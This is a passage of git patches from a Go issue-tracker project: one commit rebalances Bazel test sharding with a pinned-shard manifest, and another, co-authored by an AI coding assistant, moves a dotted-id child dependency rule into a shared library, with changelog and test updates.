@@ -19,7 +19,7 @@ import ( // S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale below — // see that test's doc comment for the full --check rationale, not repeated -// here): the Bazel-only 50-shard cmd block and 20-shard storage block are +// here): the Bazel-only 100-shard cmd block and 40-shard storage block are // not frozen like their files' legacy 20- and 5-shard blocks. // gen_embedded_{cmd,storage}_shard_manifest.py --check verifies only that // the committed block names every discovered test exactly once, failing with @@ -167,7 +167,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // duration balancing. totalsSet[bazelEmbeddedCmdShardCount(t)] = true case ".github/scripts/embedded-storage-test-shard.sh": - // F1: mirrors the cmd case above for the 20-shard storage block. + // F1: mirrors the cmd case above for the 40-shard storage block. totalsSet[bazelEmbeddedStorageShardCount(t)] = true case ".github/scripts/server-storage-test-shard.sh": totalsSet[bazelServerFullShardCount(t)] = true From 7c47c3c0a96e5adfac6a83a5455f998a60a91526 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 22:11:43 +0000 Subject: [PATCH 198/325] ci(bazel): pin httpclient_served_test's slow tests to shards (16 -> 26 shards) (#7443) After #7440 //internal/httpclient:httpclient_served_test set the embedded lane (149-167s slowest shard in recent CI runs, 63-167s across PRs since #7416). Not a regression: its top-level tests are all serial and rules_go's round-robin put the long ones wherever its index split dropped them, so shard times swung with load and with which tests a PR added (whole-lane rbe-west run on main: 40-119s over 16 shards). The target now runs through tools/bazel/go_test_pinned_shard.sh, as bd_dolt_server_test and regression_test do: every top-level test measured at >= 3s (max over three whole-lane runs) is pinned onto 17 shards (served_pinned_shards.txt, tools/bazel/pin_shards.py), and the binary's own round-robin deals the other ~620 over the remaining 9. Every test still runs in exactly one shard (TestPinnedShardWrapperSplit), the manifest may name only real tests, and the lane's check_testcases.py fails an empty shard. No test changed; the heaviest single test (~52s, no subtests) stays whole. The pinned-wrapper policy listed only dolt-server-cmd targets, since the wrapper selects and skips; pinnedShardTargets now carries each reviewed target's lane tag, and httpclient_served_test is reviewed in as the embedded lane's (its args stay pinned in TestBazelRetiredLanesCannotBeNarrowed). rbe-west, `bazel test //... --config=embedded --nocache_test_results`: served shards max 119s -> 77s, median 73s -> 54s; lane critical path 138-153s -> 116s. Bead: ga-vnycm2.30 Co-authored-by: Claude Opus 5.5 (1M context) --- internal/httpclient/BUILD.bazel | 36 +++-- internal/httpclient/served_pinned_shards.txt | 142 +++++++++++++++++++ scripts/BUILD.bazel | 1 + scripts/conformance_script_test.go | 2 +- scripts/pinned_shards_helpers_test.go | 16 ++- scripts/pinned_shards_test.go | 21 +-- scripts/pr_risk_bazel_coverage_test.go | 9 +- 7 files changed, 199 insertions(+), 28 deletions(-) create mode 100644 internal/httpclient/served_pinned_shards.txt diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 1f4e4a6ad..a2b9d9346 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -207,14 +207,26 @@ go_test( # fails each served case rather than skipping it. It is the script's run on # the lane's race build (raceEnabled shrinks its one large apply). # -# Shard count: on the lane's executors (rbe-west, 2026-10-09) the package is -# 725 tests and ~1,300 test-seconds, the heaviest about 54s. Each served case -# copies one per-process template workspace instead of initializing its own -# embedded Dolt schema (served_harness_test.go's servedTemplateWorkspace), -# and TestServedBatchGetterContract seeds its 1000 issues in one write: before +# Shard count: on the lane's executors (rbe-west, 2026-10-09, the whole +# embedded lane running) the package is ~750 top-level tests and ~1,100 +# test-seconds, all serial, the heaviest about 52s. Each served case copies +# one per-process template workspace instead of initializing its own embedded +# Dolt schema (served_harness_test.go's servedTemplateWorkspace), and +# TestServedBatchGetterContract seeds its 1000 issues in one write: before # both, the package was ~3,700 test-seconds over 24 shards, the heaviest shard -# 390s. rules_go deals the tests out round-robin; at 16 shards the measured -# loads come to 62-112s per shard. +# 390s. rules_go's round-robin alone (16 shards) left shards at 40-119s, +# wherever its split dropped the long tests, so the tests measured at >= 3s +# (the maximum over three whole-lane runs) are pinned +# (tools/bazel/go_test_pinned_shard.sh, served_pinned_shards.txt from +# tools/bazel/pin_shards.py --shards 17 --min-seconds 3) onto 17 shards, and +# the binary's round-robin deals the other ~650 (~340s of measured test +# time; those shards ran ~1.4x their tests' summed times) over the remaining +# 9. +# Regenerate the manifest from runs of the lane: +# bazel test //... --config=embedded +# python3 tools/bazel/pin_shards.py --shards 17 --min-seconds 3 \ +# --write internal/httpclient/served_pinned_shards.txt \ +# bazel-testlogs/internal/httpclient/httpclient_served_test # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -227,19 +239,23 @@ sh_test( # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own # timeout fire first and dump every goroutine to test.log. timeout = "eternal", - srcs = ["//tools/bazel:go_test_variant.sh"], + srcs = ["//tools/bazel:go_test_pinned_shard.sh"], args = [ + "$(rootpath :served_pinned_shards.txt)", "$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m", ], - data = [":httpclient_test"], + data = [ + "served_pinned_shards.txt", + ":httpclient_test", + ], env = { "BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1", }, - shard_count = 16, + shard_count = 26, tags = ["embedded"], ) diff --git a/internal/httpclient/served_pinned_shards.txt b/internal/httpclient/served_pinned_shards.txt new file mode 100644 index 000000000..a62da7437 --- /dev/null +++ b/internal/httpclient/served_pinned_shards.txt @@ -0,0 +1,142 @@ +# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by +# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage). +# +# Every top-level test measured at >= 3s, bin-packed +# longest-first onto these shards; every other test runs in the +# binary's own round-robin shards. Measured seconds per pinned shard: +# 86 88 85 89 86 86 86 86 86 86 86 86 86 89 89 86 86 +# Unpinned tests: 617, 335s in total. +# +# +1 TestServedBatchApplyEndGateCycleSurvivesSkipPerEdgeCycleCheck +1 TestServedBatchApplyUpdateAfterCloseInOneRequest +1 TestServedDualWriteContract +1 TestServedIssueOperationsCreateUnderAParentMintsTheNextChildID +1 TestServedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix +2 TestServedBatchApplyShape356CommitsAtomically +2 TestServedBatchGetterContract +2 TestServedDetailReadsAgreeWithTheReferenceStore +2 TestServedLifecycleCloseAdmitsATransitivelyBlockedTarget +2 TestServedReaderListAppliesTheClientSideDisplayOrder +2 TestServedReaderListStatusORSetUnderALabelScope +2 TestServedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary +3 TestServedBatchApplyAllowsAClosedParentToGainAnOpenChild +3 TestServedBatchApplyBoundsTheItemCount +3 TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows +3 TestServedCycleDetectorContract +3 TestServedLeaseReclaimerScopesToAssigneesAndLabels +3 TestServedLifecycleCloseIsIdempotentAndKeepsTheFirstClose +3 TestServedReaderListMaxRowsUnderPushdown +4 TestServedBatchApplyANoOpBatchRecordsNoHistory +4 TestServedBatchApplyAppliesEveryItemInDeclarationOrder +4 TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemTouched +4 TestServedDeleteGuardsADurableNamedWithAWispDependent +4 TestServedDeleterCountsCrossPlaneEdgesItRemoves +4 TestServedDeleterSettlesTheSurvivorsOfADeletedBlocker +4 TestServedLifecycleReopenRecordsItsReason +4 TestServedReaderListOrderMatchesTheReferenceStore +5 TestServedBatchApplyAnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory +5 TestServedBatchApplyEndGateRefusesAHierarchyTheRequestBuilt +5 TestServedBatchApplyRefusesAKeyDeclaredLater +5 TestServedLifecycleUpdateClosePolicy +5 TestServedLifecycleUpdateRefusesATemplate +5 TestServedReaderListMaxRowsBoundsWireRowsFetched +5 TestServedReadsAndWritesRefuseAfterAPostHandshakeServerSwap +6 TestServedBatchApplyRefusesARefNamingNeitherOrBoth +6 TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated +6 TestServedDeleteGuardsAWispNamedWithADurableDependent +6 TestServedDeleterSettlesTheSurvivorsOfADeletedWispBlocker +6 TestServedLifecycleCloseRefusalsCarryTheirTypesAndWriteNothing +6 TestServedLifecycleCloseSettlesTheClosedRowItselfAndItsChild +6 TestServedReaderListSortPushdownIsOneDial +6 TestServedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded +7 TestServedBatchApplyARefusedRequestRecordsNoHistory +7 TestServedBatchApplyAnswersEveryItemWithoutASnapshot +7 TestServedBatchApplyClosePolicyEvaluatesAtTheCloseItem +7 TestServedBatchApplySplicesAForwardMetadataRef +7 TestServedBatchCloserSettlesTheDependersOfWhatItClosed +7 TestServedLifecycleCloseCountsOpenChildrenInBothPlanes +7 TestServedQuerierDisjunctionAnswersEveryMatch +7 TestServedWorkspaceConfigContract +8 TestDualRunCloseHistoryAgreesWithTheReferenceStore +8 TestServedBatchApplyBindsEachNamedKeyToItsMintedID +8 TestServedBatchApplyEvaluatesExpectedAssigneeAsModified +8 TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate +8 TestServedGraphCounterContract +8 TestServedIssueOperationsCreateParentChildRecomputesWaitsForClosure +8 TestServedLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers +8 TestServedQuerierSortTieBreaksByIDInBothDirections +9 TestDualRunReaderAgreesWithTheReferenceStore +9 TestServedBatchApplyResolvesABackwardKeyRef +9 TestServedDependencyEditorMaintainsBlockedStateAcrossPlanes +9 TestServedDependencyEditorRecordsOneHistoryEntryPerLandedRequest +9 TestServedLifecycleCloseEnforcesTheCloseGuards +9 TestServedLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate +9 TestServedReaderListWeldedOrderKeepsSendingNoSortParameter +9 TestServedReaderRefusesTheFiltersTheWireCannotCarry +10 TestServedBatchApplyEvaluatesExpectedStatusAsModified +10 TestServedBatchCloserForceBypassesOnlyClosePolicy +10 TestServedBlockingAnnotatorContract +10 TestServedCounterContract +10 TestServedDependencyEditorRemoveUnmarksItsSourceAndDescendants +10 TestServedQuerierSortSeesTheWholeMatchingSet +10 TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope +10 TestServedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven +11 TestServedBatchApplyExpectedVersionThatMatchesLetsTheItemThrough +11 TestServedBatchApplyNeverReordersItsItems +11 TestServedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit +11 TestServedRawCloseKeepsParityWithTheOtherBackends +11 TestServedReaderListKeysetPositionSkipsForward +11 TestServedReaderListLimitBoundaryUnderALabelScope +11 TestServedTreeWalkerContract +11 TestTheParentWalkAnswersTheSameRowsOverHTTP +12 TestDualRunIDResolutionProbesAgreeWithTheReferenceStore +12 TestServedBatchApplyRecordsOneEntryForAWriteThatLandedNothing +12 TestServedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction +12 TestServedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender +12 TestServedReaderDoesNotMutateTheCallerRequestOverTheWire +12 TestServedReaderReadyParentScopesToItsTransitiveDescendants +12 TestTheCompositionCatchesAWrongParameter +12 TestTheReadyBridgeDualRunsBuildReadyFilterOverBothReadPaths +13 TestServedBatchApplyNormalizesTheWaitsForGate +13 TestServedBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated +13 TestServedIssueOperationsUpdateClaimConflictCarriesTheLosingState +13 TestServedIssueOperationsUpdateStatusCrossingSettlesDependers +13 TestServedJournalContract +13 TestServedReaderListUnlimitedStaysAWalk +13 TestServedReaderListWalksMultiplePages +13 TestServedRelationsContract +14 TestServedBatchApplyRefusesAKeyNoItemDeclares +14 TestServedBatchApplyRollsBackEverythingWhenTheLastItemRefuses +14 TestServedLifecycleReopenReblocksItsDependers +14 TestServedLifecycleUpdateParentIDReplacesTheParentEdge +14 TestServedQuerierPageIsAPrefixAndHasMoreIsExact +14 TestServedReaderListMessageWispsNeedTheInfraIntentAndNotJustThePlane +14 TestServedReaderListMultiPageWalkHasNoSnapshotIsolation +14 TestServedSweeperProtectsLiveDependents +14 TestTheParentWalkRefusesAResidualOverHTTP +15 TestDualRunQuerierAndReadyCounterAgreeWithTheReferenceStore +15 TestServedBatchApplyStaleExpectedVersionRefusesTheWholeRequest +15 TestServedDependencyEditorRefusesACycleThroughAParentChildHop +15 TestServedLifecycleUpdateAssigneeTransferFence +15 TestServedLifecycleUpdateParentIDReplacesEveryParent +15 TestServedQuerierSortBoundsThePageInOrder +15 TestServedReaderListEmptyPageIsWellFormedUnderALabelScope +15 TestServedReaderListFallsBackToTheWalkWithoutTheCapability +15 TestServedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities +16 TestServedBatchApplyAcceptsAnExternalEdgeTarget +16 TestServedBatchApplyHistoryNamesTheActorAndReadsTheProvenance +16 TestServedDeleterSettlesTheChildrenOfADeletedParent +16 TestServedEdgeReaderContract +16 TestServedQuerierSortByClosedPutsTheUnclosedRowsAtTheFarEnd +16 TestServedQuerierSortByTitleFoldsCaseBeforeItCutsThePage +16 TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder +16 TestServedSweeperProtectsLiveDependentsAcrossPlanes +17 TestServedBatchApplyRecordsExactlyOneHistoryEntry +17 TestServedBatchApplyReportsChangedPerItem +17 TestServedBatchCloserIdempotentRecloseIsAPerItemSuccess +17 TestServedCommenterContract +17 TestServedLifecycleCreateInheritsParentLabels +17 TestServedQuerierHidesClosedUnlessTheExpressionOrTheFlagSaysOtherwise +17 TestServedReaderReadyDeferredAndEphemeralGates +17 TestServedStatsReporterContract diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 36b26accd..a91b79346 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -160,6 +160,7 @@ go_test( "//:nested_go_modules", "//:repo_go_test_srcs", "//cmd/bd:repo_other_files", + "//internal/httpclient:repo_other_files", "//internal/storage/dolt:repo_other_files", "//internal/storage/embeddeddolt:repo_other_files", "//tests/regression:repo_other_files", diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index ce41f1067..24fd6ebab 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -123,7 +123,7 @@ func TestConformanceServedTierRunsUnderBazel(t *testing.T) { if rule == "" { t.Fatal("internal/httpclient/BUILD.bazel has no httpclient_served_test") } - want := []string{`"$(rootpath :httpclient_test)",`, `data = [":httpclient_test"],`, `tags = ["embedded"],`} + want := []string{`"$(rootpath :httpclient_test)",`, `":httpclient_test",`, `tags = ["embedded"],`} for _, sw := range switches { want = append(want, `"`+sw[1]+`": "`+sw[2]+`",`) } diff --git a/scripts/pinned_shards_helpers_test.go b/scripts/pinned_shards_helpers_test.go index 862fcd0b4..52476fbb5 100644 --- a/scripts/pinned_shards_helpers_test.go +++ b/scripts/pinned_shards_helpers_test.go @@ -16,12 +16,20 @@ const pinnedShardWrapper = "tools/bazel/go_test_pinned_shard.sh" // pinnedShardTargets are the sh_tests that run a go_test binary through // tools/bazel/go_test_pinned_shard.sh: the BUILD file, the rule, its -// manifest, and the directory holding the go_test's sources. +// manifest, the directory holding the go_test's sources, and the rule's one +// lane tag. +// +// httpclient_served_test is the embedded lane's (a retired tier's) served +// corpus, which may not be narrowed: the wrapper runs every top-level test in +// exactly one shard (TestPinnedShardWrapperSplit), the manifest may name only +// real tests (TestPinnedShardManifestsNameRealTests), and the lane's +// check_testcases.py fails a shard that ran none. var pinnedShardTargets = []struct { - build, rule, manifest, pkg string + build, rule, manifest, pkg, tag string }{ - {"cmd/bd/BUILD.bazel", "bd_dolt_server_test", "cmd/bd/dolt_server_pinned_shards.txt", "cmd/bd"}, - {"tests/regression/BUILD.bazel", "regression_test", "tests/regression/pinned_shards.txt", "tests/regression"}, + {"cmd/bd/BUILD.bazel", "bd_dolt_server_test", "cmd/bd/dolt_server_pinned_shards.txt", "cmd/bd", "dolt-server-cmd"}, + {"tests/regression/BUILD.bazel", "regression_test", "tests/regression/pinned_shards.txt", "tests/regression", "dolt-server-cmd"}, + {"internal/httpclient/BUILD.bazel", "httpclient_served_test", "internal/httpclient/served_pinned_shards.txt", "internal/httpclient", "embedded"}, } var pinnedLineRe = regexp.MustCompile(`^([1-9][0-9]*) (Test[A-Za-z0-9_]*)$`) diff --git a/scripts/pinned_shards_test.go b/scripts/pinned_shards_test.go index ff95e9f3f..765415979 100644 --- a/scripts/pinned_shards_test.go +++ b/scripts/pinned_shards_test.go @@ -211,14 +211,15 @@ func TestPinShardsGenerator(t *testing.T) { // pinnedShardWrapperUsers returns an error for every BUILD rule that runs // through go_test_pinned_shard.sh other than pinnedShardTargets, and for any -// of those tagged for another lane than the cmd/bd Dolt-server tier: the -// wrapper selects and skips tests, which the retired tiers' lanes forbid -// (TestBazelRetiredLanesCannotBeNarrowed). +// of those not tagged exactly its pinnedShardTargets lane: the wrapper +// selects and skips tests, which the retired tiers' lanes forbid +// (TestBazelRetiredLanesCannotBeNarrowed) except for the reviewed targets +// listed there. func pinnedShardWrapperUsers(t *testing.T, root string) []string { t.Helper() - allowed := map[string]bool{} + allowed := map[string]string{} for _, tgt := range pinnedShardTargets { - allowed[tgt.build+":"+tgt.rule] = true + allowed[tgt.build+":"+tgt.rule] = tgt.tag } const label = "//tools/bazel:go_test_pinned_shard.sh" var errs []string @@ -247,11 +248,13 @@ func pinnedShardWrapperUsers(t *testing.T, root string) []string { continue } seen++ - if !allowed[f+":"+name] { - errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+"; add it to pinnedShardTargets after reviewing that it is not a retired tier's lane") + tag, ok := allowed[f+":"+name] + if !ok { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+"; add it to pinnedShardTargets after reviewing that every test still runs exactly once") + continue } - if !strings.Contains(rule, `tags = ["dolt-server-cmd"]`) { - errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+" but is not tagged exactly dolt-server-cmd") + if !strings.Contains(rule, `tags = ["`+tag+`"]`) { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+" but is not tagged exactly "+tag) } } } diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index d1e800aec..0a57f6785 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -811,9 +811,10 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { } // go_test_pinned_shard.sh selects and skips by design (each test in // exactly one shard: TestPinnedShardWrapperSplit), and is reviewed - // here for the dolt-server-cmd targets only, which are none of the - // retired tiers' lanes; pinnedShardWrapperUsers fails if anything - // else runs through it. + // here for pinnedShardTargets only (the dolt-server-cmd targets and + // the embedded lane's httpclient_served_test, whose args are pinned + // above); pinnedShardWrapperUsers fails if anything else runs + // through it. exempt := filepath.ToSlash(rel) == pinnedShardWrapper if exempt { for _, e := range pinnedShardWrapperUsers(t, root) { @@ -890,7 +891,7 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // script's switches: required, so a missing engine fails each served // case instead of skipping it. "//internal/httpclient:httpclient_served_test": { - []string{"$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, + []string{"$(rootpath :served_pinned_shards.txt)", "$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1"}, }, "//cmd/bd:bd_proxied_test": { From d15958a5eb88fc32e3a47680ccc017ff47b561ac Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 22:56:46 +0000 Subject: [PATCH 199/325] fix(issueops): enforce the dotted-child dependency rule on every leg (#7424) * fix(issueops): enforce the dotted-child dependency rule on every leg The refusal of an explicit edge from a dotted-id child to its own ancestor (bd-abc.1 -> bd-abc; only the parent-child edge to the immediate dotted parent is allowed) lived only in cmd/bd (isDisallowedHierarchicalDependency). HTTP dependencies:add, batch:apply dep_add items and `bd create --graph`'s own edges skipped it. It is now one library rule, issueops.CheckDottedChildDependency, returning *issueops.DottedChildDependencyError (unwraps to ErrValidation, same message the CLI printed): - ValidateAddDependenciesRequest applies it, so DependencyEditor refuses on dolt, embedded, uow and the server behind httpapi (400 invalid_argument); - both BatchApplier bodies (issueops and uow) apply it to each dep_add item on the resolved ids, so a key bound to a minted dotted child is refused too; - the HTTP client checks it before the dial, as it does self-dependency, so the typed error survives the wire. cmd/bd keeps no copy: single-edge dep add / dep --blocks rely on the role; bd link (still on the store verb) and the --file bulk reporter call the library rule. CLI output is byte-identical (checked against origin/main). Conformance: RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent and RunBatchApplyRefusesADottedChildGatedOnItsOwnParent wired on dolt, embedded, uow and http, plus a raw-wire served test past the client check and handler mapping cases. Co-Authored-By: Claude Opus 5.5 * fix(batch): refuse a dotted child gated on its own ancestor in bd batch Review fixup for PR #7424 (iterations 1 and 2). Major: a bd batch script line `dep add bd-abc.1 bd-abc` still wrote the edge this PR refuses everywhere else, on both backends. Neither batch dispatch writes through the DependencyEditor role that enforces the dotted-child rule: the classic arm calls storage.Transaction.AddDependency and the proxied arm the unit of work's AddDependencies verb. Both arms now build the edge with one helper, batchDepAddEdge, which keeps the default type and the arity and type errors, and asks publicops.CheckDottedChildDependency the way bd link does. A refused line rolls the whole batch back. Tests: TestBatchDepAddEdge (default and explicit types, arity and type errors, three refusals typed *DottedChildDependencyError matching ErrValidation, and the immediate parent-child edge allowed), and TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent (classic and proxied: the refusal names line 2, rolls back an earlier update line and writes no edge, and `dep add C P parent-child` still lands exactly one), registered in the proxied shard manifest. A mutant that drops the rule from the shared helper fails both; one that bypasses the helper in the proxied arm alone fails the proxied leg. Minors: - For a child whose parent-child edge is already stored (a `bd create --parent` child) the rule answers ahead of the hierarchy and type conflicts, so an HTTP caller now gets 400 invalid_argument where it got 409 dependency_cycle (blocking types) or dependency_exists (any other type). Documented in the DependencyEditor role doc, the CHANGELOG entry and the httpapi batch-apply test comment, and pinned by a stored-hierarchy phase in the DependencyEditor and BatchApplier dotted-child conformance contracts on every leg; a mutant that drops the rule gets the hierarchy conflict instead (409 dependency_cycle on the wire). - The bd create --graph dry-run note now says the live create may also refuse an edge that gates a dotted-id child on its own ancestor. - The DottedChildDependencyError comment says the message is kept verbatim and says "deadlock" whatever the type. Not changed: bd relate (relates-to does not schedule) and the edges a create writes with its issue (bd create --deps/--waits-for, and over HTTP an explicit dotted id with a non-immediate ParentID) still write through paths that skip the rule. The scheduling shapes need an explicit dotted id or a grandparent target. Follow-up bd-25s1wh tracks moving the rule down to the domain/store add verbs, with a structural bypass for reparent and template edges. Iteration 2 (minor): the CheckDottedChildDependency doc no longer implies bd link and bd batch are the only writers outside the roles. It names bd relate and the create edges as not applying the rule yet and cites bd-25s1wh. Complexity (cyclomatic/cognitive): runBatchOp 23/35 -> 21/31, runBatchOpUOW 28/48 -> 26/44, batchDepAddEdge 5/4. Touching them brings both pre-existing dispatch switches into the measured set; splitting them is out of scope here. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * docs(issueops,httpapi): document the dotted-child 400 and widen its gap list Review fixup for PR #7424 (relaunch, iteration 1, minors). - The OpenAPI spec now describes the wire change this PR makes. The dependencies:add and issues:batchApply 400 vocabularies name an edge from a dotted-id child to its own ancestor (anything but the parent-child edge to its immediate parent; param `edges` and `items`). dependencies:add says why that is request-intrinsic, and both 409s say it is never dependency_cycle or dependency_exists, even for a child whose parent-child edge is stored. Response descriptions only: the generated types and the wireshape digest are unchanged (make api-check). - The CheckDottedChildDependency doc no longer reads as a complete list of the writers that skip the rule. Besides bd relate and the create edges it names bd duplicate, bd supersede, bd duplicates --auto-merge (its related link and its reparenting) and the tracker engine's createDependencies, and says the molecule, template and swarm writers are unaudited. bd-25s1wh's notes carry the widened scope, including `bd duplicate bd-a.1 --of bd-a`. Declined (nit): unifying the root issueops import alias across the PR's cmd/bd files. batch.go is the one file that imports both issueops packages, so one of them needs an alias there; it uses publicops, the repo's usual alias for the root package, and aliasing the other side instead would rewrite base-owned lines. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .../scripts/embedded-storage-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + CHANGELOG.md | 16 ++++ backend/conformance/batch_apply_contract.go | 77 ++++++++++++++++ .../conformance/dependency_editor_contract.go | 79 ++++++++++++++++ backend/conformance/role_bundle_cases.go | 2 + cmd/bd/BUILD.bazel | 1 - cmd/bd/batch.go | 54 +++++++---- cmd/bd/batch_parity_test.go | 71 +++++++++++++++ cmd/bd/batch_proxied_server.go | 21 +---- cmd/bd/batch_test.go | 89 ++++++++++++++++++ cmd/bd/dep.go | 48 +--------- cmd/bd/dep_proxied_server.go | 9 +- cmd/bd/dep_test.go | 82 ----------------- cmd/bd/dependency_hierarchy_test.go | 55 ----------- cmd/bd/graph_apply.go | 2 +- cmd/bd/link.go | 7 +- cmd/bd/link_proxied_server.go | 5 +- internal/httpapi/batch_apply_test.go | 13 +++ internal/httpapi/dependency_edit_test.go | 14 +++ internal/httpapi/spec/openapi.v0.yaml | 24 ++++- internal/httpclient/dependencyeditor.go | 6 +- .../httpclient/served_batch_apply_test.go | 4 + .../httpclient/served_memories_deps_test.go | 39 ++++++++ .../storage/dolt/batch_apply_contract_test.go | 5 + .../dolt/dependency_editor_contract_test.go | 6 ++ .../embeddeddolt/batch_apply_contract_test.go | 3 + .../dependency_editor_contract_test.go | 6 ++ internal/storage/issueops/batch_apply.go | 6 ++ .../storage/issueops/dependency_editor.go | 9 ++ internal/storage/uow/batch_applier.go | 3 + .../storage/uow/batch_apply_contract_test.go | 3 + .../uow/dependency_editor_contract_test.go | 1 + issueops/dependencyeditor.go | 91 +++++++++++++++++-- issueops/issueops_external_test.go | 55 +++++++++++ 35 files changed, 669 insertions(+), 239 deletions(-) delete mode 100644 cmd/bd/dependency_hierarchy_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index 7e9f2991d..8e103b3e0 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -152,6 +152,7 @@ 40 3 TestCrossRecordInvariantContract 40 3 TestDepRekeyMarkerStillInIgnoredSeries 40 3 TestDoltCommitResponseLossIsIndeterminate +40 3 TestEmbeddedDependencyEditorRefusesADottedChildGatedOnItsOwnParent 40 3 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations 40 3 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore 40 3 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 42a1fc999..72e73e898 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -392,6 +392,7 @@ 34 20 TestProxiedServerWispGC 34 20 TestServerModeSharedServeGlobalReportsTheServedDatabase +34 21 TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent 34 21 TestProxiedServerConfig 34 21 TestProxiedServerExternalPolicyDirectParity 34 21 TestProxiedServerMoleculeFrontDoorDirectServerProxyParity diff --git a/CHANGELOG.md b/CHANGELOG.md index 230391fdc..5477be6ae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -263,6 +263,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `POST /v0/beads/issues/{id}:claim` (`issueops.Claimer`) still claims a template that a `PATCH` with `claim: true` refuses. Close's guards move to the role in their own change (#7425). +- The dotted-id hierarchy refusal (a child such as `bd-abc.1` may not carry an + explicit edge to its own ancestor, other than the parent-child edge to its + immediate parent) moved from `cmd/bd` into the library as + `issueops.CheckDottedChildDependency` / `*issueops.DottedChildDependencyError` + (unwraps to `ErrValidation`). Every `DependencyEditor` (dolt, embedded, + unit of work, HTTP) and every `BatchApplier` dep_add item now enforces it, so + an HTTP `dependencies:add`, a `batch:apply` edge and `bd create --graph`'s own + edges are refused like `bd dep add` (HTTP: 400 `invalid_argument`). `bd dep + add`, `bd dep --blocks`, `bd link` and `bd dep add --file` print the same + messages as before, and a `bd batch` script's `dep add` line, which neither + backend checked, is now refused with that message and rolls the whole batch + back. The refusal is decided from the two ids, ahead of every check that + reads the stored graph, so for a child whose parent-child edge is already + stored (a `bd create --parent` child) an HTTP caller now gets that 400 where + it used to get 409 `dependency_cycle` (a blocking type) or + `dependency_exists` (any other type). - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index c2ac269d9..f6480e47a 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -2657,3 +2657,80 @@ func RunBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T, ctx context.Con } } } + +// RunBatchApplyRefusesADottedChildGatedOnItsOwnParent pins the dotted-id +// hierarchy rule (publicops.CheckDottedChildDependency) on a dep_add item: an +// edge from a dotted-id child to its own ancestor is refused with an +// *ItemError naming the edge, and the whole request rolls back. The rule is +// applied to the RESOLVED ids, so a key bound to a 